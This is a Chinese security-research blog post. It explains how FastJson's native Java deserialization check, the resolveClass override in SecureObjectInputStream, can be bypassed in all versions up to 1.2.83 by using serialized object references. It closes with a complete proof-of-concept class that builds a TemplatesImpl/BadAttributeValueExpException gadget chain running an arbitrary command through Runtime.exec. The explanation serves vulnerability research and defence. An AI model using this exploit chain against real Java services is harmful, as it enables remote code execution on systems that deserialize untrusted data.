FastJson与原生反序列化(二)

Y4tacker

2023-04-26 (Updated: 2023-04-26)

FastJson与原生反序列化(二)

很早之前在发第一篇的时候@jsjcw师傅就曾提到1.2.49后也能利用引用绕过，后面由@1ue师傅在知识星球中利用这个思路成功绕过并分享了payload，至此fastjson全版本就彻底加入原生反序列化的gadget，向师傅们致敬，想着将文章完善的缘故，并且师傅们没有提到具体的原理，因此发个第二篇进行简单介绍。

当然这里不会详细说明完整的序列化与反序列化的过程，如果有感兴趣的可以参考panda师傅的博客，关于序列化流程分析总结与反序列化流程分析总结，里面已经写的很细致了。

回顾

之前提到了从1.2.49开始，我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法，

在其SecureObjectInputStream类当中重写了resolveClass,通过调用了checkAutoType方法做类的检查，这样真的是安全的么？

resolveClass的调用

乍一看，这样的写法很安全，当调用JSONArray/JSONObject的Object方法触发反序列化时，将这个反序列化过程委托给SecureObjectInputStream处理时，触发resolveClass实现对恶意类的拦截

这时候反序列化的调用过程是这样的，就是这样不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过

不安全的反序列化过程

1
2
3

ObjectInputStream -> readObject
xxxxxx(省略中间过程)
SecureObjectInputStream -> readObject -> resolveClass

安全的反序列化过程

多提一嘴，平时我们作防御则应该是生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream)，由它来做反序列化的入口，这样才是安全的，因此压力再次给到了开发身上

1	TestInputStream -> readObject -> resolveClass

为了解决这个问题，首先我们就需要看看什么情况下不会调用resolveClass，在java.io.ObjectInputStream#readObject0调用中，会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

switch (tc) {
                case TC_NULL:
                    return readNull();
                case TC_REFERENCE:
                    return readHandle(unshared);
                case TC_CLASS:
                    return readClass(unshared);
                case TC_CLASSDESC:
                case TC_PROXYCLASSDESC:
                    return readClassDesc(unshared);
                case TC_STRING:
                case TC_LONGSTRING:
                    return checkResolve(readString(unshared));
                case TC_ARRAY:
                    return checkResolve(readArray(unshared));
                case TC_ENUM:
                    return checkResolve(readEnum(unshared));
                case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));
                case TC_EXCEPTION:
                    IOException ex = readFatalException();
                    throw new WriteAbortedException("writing aborted", ex);
                case TC_BLOCKDATA:
                case TC_BLOCKDATALONG:
                    if (oldMode) {
                        bin.setBlockDataMode(true);
                        bin.peek();             // force header read
                        throw new OptionalDataException(
                            bin.currentBlockRemaining());
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected block data");
                    }
                case TC_ENDBLOCKDATA:
                    if (oldMode) {
                        throw new OptionalDataException(true);
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected end of block data");
                    }
                default:
                    throw new StreamCorruptedException(
                        String.format("invalid type code: %02X", tc));
            }

再往后，跳过一些细节过程，上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符，在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass

再回到上面这个switch分支的代码，不会调用readClassDesc的分支有TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION，string与null这种对我们毫无用处的，exception类型则是解决序列化终止相关，这一点可以从其描述看出

那么就只剩下了reference引用类型了

如何利用引用类型

现在我们就要思考，如何在JSONArray/JSONObject对象反序列化恢复对象时，让我们的恶意类成为引用类型从而绕过resolveClass的检查

答案是当向List、set、map类型中添加同样对象时即可成功利用，这里也简单提一下，这里以List为例，

ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);

当我们写入对象时，会在handles这个哈希表中建立从对象到引用的映射

当再次写入同一对象时，在handles这个hash表中查到了映射

那么就会通过writeHandle将重复对象以引用类型写入

因此我们就可以利用这个思路构建攻击的payload了，这里简单以伪代码呈现，便于理解思路

TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);
  
WriteObjects(arrayList);

简单梳理下

序列化时，在这里templates先加入到arrayList中，后面在JSONArray中再次序列化TemplatesImpl时，由于在handles这个hash表中查到了映射，后续则会以引用形式输出

反序列化时ArrayList先通过readObject恢复TemplatesImpl对象，之后恢复BadAttributeValueExpException对象，在恢复过程中，由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象，会触发JSONArray/JSONObject的readObject方法，将这个过程委托给SecureObjectInputStream，在恢复JSONArray/JSONObject中的TemplatesImpl对象时，由于此时的第二个TemplatesImpl对象是引用类型，通过readHandle恢复对象的途中不会触发resolveClass，由此实现了绕过

当然前面也提到了不仅仅是List，Set与Map类型都能成功触发引用绕过。

完整利用

至此fastjson全版本实现了原生反序列化利用

代码测试依赖

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.27.0-GA</version>
</dependency>

测试代码以HashMap为例

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Y4HackJSON {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] genPayload(String cmd) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception{


        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd,"val",jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates,bd);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();



    }
}